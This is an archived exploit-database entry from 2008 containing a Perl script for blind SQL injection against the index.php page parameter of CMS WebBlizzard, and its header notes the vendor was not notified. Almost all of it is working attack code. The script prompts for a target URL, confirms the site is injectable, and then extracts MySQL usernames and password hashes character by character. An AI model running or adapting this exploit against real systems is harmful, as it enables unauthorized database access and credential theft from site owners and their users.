CMS WebBlizzard (index.php page) Blind SQL Injection Exploit

🗓️ 05 Jul 2008 00:00:00Reported by RootType
CMS WebBlizzard index.php Blind SQL Injection Exploit by Bl@ckbe@rD on 10 June 200

                                                #/usr/bin/perl

#|+|&nbsp;Vendor&nbsp;Not&nbsp;Notified
#|+|&nbsp;Author:&nbsp;Bl@ckbe@rD
#|+|&nbsp;Discovered&nbsp;On:&nbsp;10&nbsp;june&nbsp;&nbsp;2008
#|+|&nbsp;greetz:&nbsp;InjEctOrs&nbsp;,&nbsp;underz0ne&nbsp;crew&nbsp;
#--//--&gt;
#&nbsp;--&nbsp;CMS&nbsp;webBlizzard&nbsp;&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;Exploit&nbsp;--
#--//--&gt;&nbsp;Exploit&nbsp;:
use&nbsp;strict;
use&nbsp;LWP::Simple;

print&nbsp;&quot;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-\n&quot;;
print&nbsp;&quot;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-\n&quot;;
print&nbsp;&quot;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-\n&quot;;
print&nbsp;&quot;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-\n&quot;;
print&nbsp;&quot;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CMS&nbsp;WebBlizzard&nbsp;&nbsp;Blind&nbsp;SQL&nbsp;Injection&nbsp;exploit&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-\n&quot;;
print&nbsp;&quot;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-\n&quot;;
print&nbsp;&quot;-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-\n&quot;;
print&nbsp;&quot;+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n&quot;;

print&nbsp;&quot;\nEnter&nbsp;URL&nbsp;(ie:&nbsp;http://site.com):&nbsp;&quot;;
	chomp(my&nbsp;$url=&lt;STDIN&gt;);
	
if(inject_test($url))&nbsp;{
	print&nbsp;&quot;Injecting..&nbsp;Please&nbsp;Wait&nbsp;this&nbsp;could&nbsp;take&nbsp;several&nbsp;minutes..\n\n&quot;;
	my&nbsp;$details&nbsp;=&nbsp;blind($url);
	print&nbsp;&quot;Exploit&nbsp;Success!&nbsp;Admin&nbsp;Details:&nbsp;&quot;.$details;
	exit;
}

sub&nbsp;blind&nbsp;{

	my&nbsp;$url&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;shift;
	my&nbsp;$res&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;undef;
	my&nbsp;$chr&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;48;
	my&nbsp;$substr&nbsp;=&nbsp;1;
	my&nbsp;$done&nbsp;&nbsp;&nbsp;=&nbsp;1;
	
	while($done)&nbsp;{
		my&nbsp;$content&nbsp;=&nbsp;get($url.&quot;/index.php?page=6)&nbsp;&nbsp;and&nbsp;ascii(substring((SELECT&nbsp;CONCAT(username,0x3a,password,0x5E)&nbsp;FROM&nbsp;
mysql.user),&quot;.$substr.&quot;,1))=&quot;.$chr.&quot;/*&quot;);
		
		if($content&nbsp;=~&nbsp;/Previous/&nbsp;&amp;&amp;&nbsp;$chr&nbsp;==&nbsp;94)&nbsp;{&nbsp;$done&nbsp;=&nbsp;0;&nbsp;}
			elsif($content&nbsp;=~&nbsp;/Previous/)&nbsp;{&nbsp;$res&nbsp;.=&nbsp;chr($chr);&nbsp;$substr++;&nbsp;$chr&nbsp;=&nbsp;48;&nbsp;}
				else&nbsp;{&nbsp;$chr++;&nbsp;}
	}
	return&nbsp;$res;
}

sub&nbsp;inject_test&nbsp;{

	my&nbsp;$url&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;shift;
	my&nbsp;$true&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;get($url.&quot;/index.php?page=6)&nbsp;and&nbsp;1=1&nbsp;/*&quot;);
	my&nbsp;$false&nbsp;&nbsp;&nbsp;=&nbsp;get($url.&quot;/index.php?page=6)&nbsp;and&nbsp;1=2&nbsp;/*&quot;);
	
	if($true&nbsp;=~&nbsp;/Previous/&nbsp;&amp;&amp;&nbsp;$false&nbsp;!~&nbsp;/Previous/)&nbsp;{
		print&nbsp;&quot;\nTarget&nbsp;Site&nbsp;Vulnerable!\n\n&quot;;
		return&nbsp;1;
	}&nbsp;else&nbsp;{&nbsp;print&nbsp;&quot;\nTarget&nbsp;Site&nbsp;Not&nbsp;Vulnerable!&nbsp;Exiting..\n&quot;;&nbsp;exit;&nbsp;}
}
05 Jul 2008 00:00Current
7.1High risk
Vulners AI Score7.1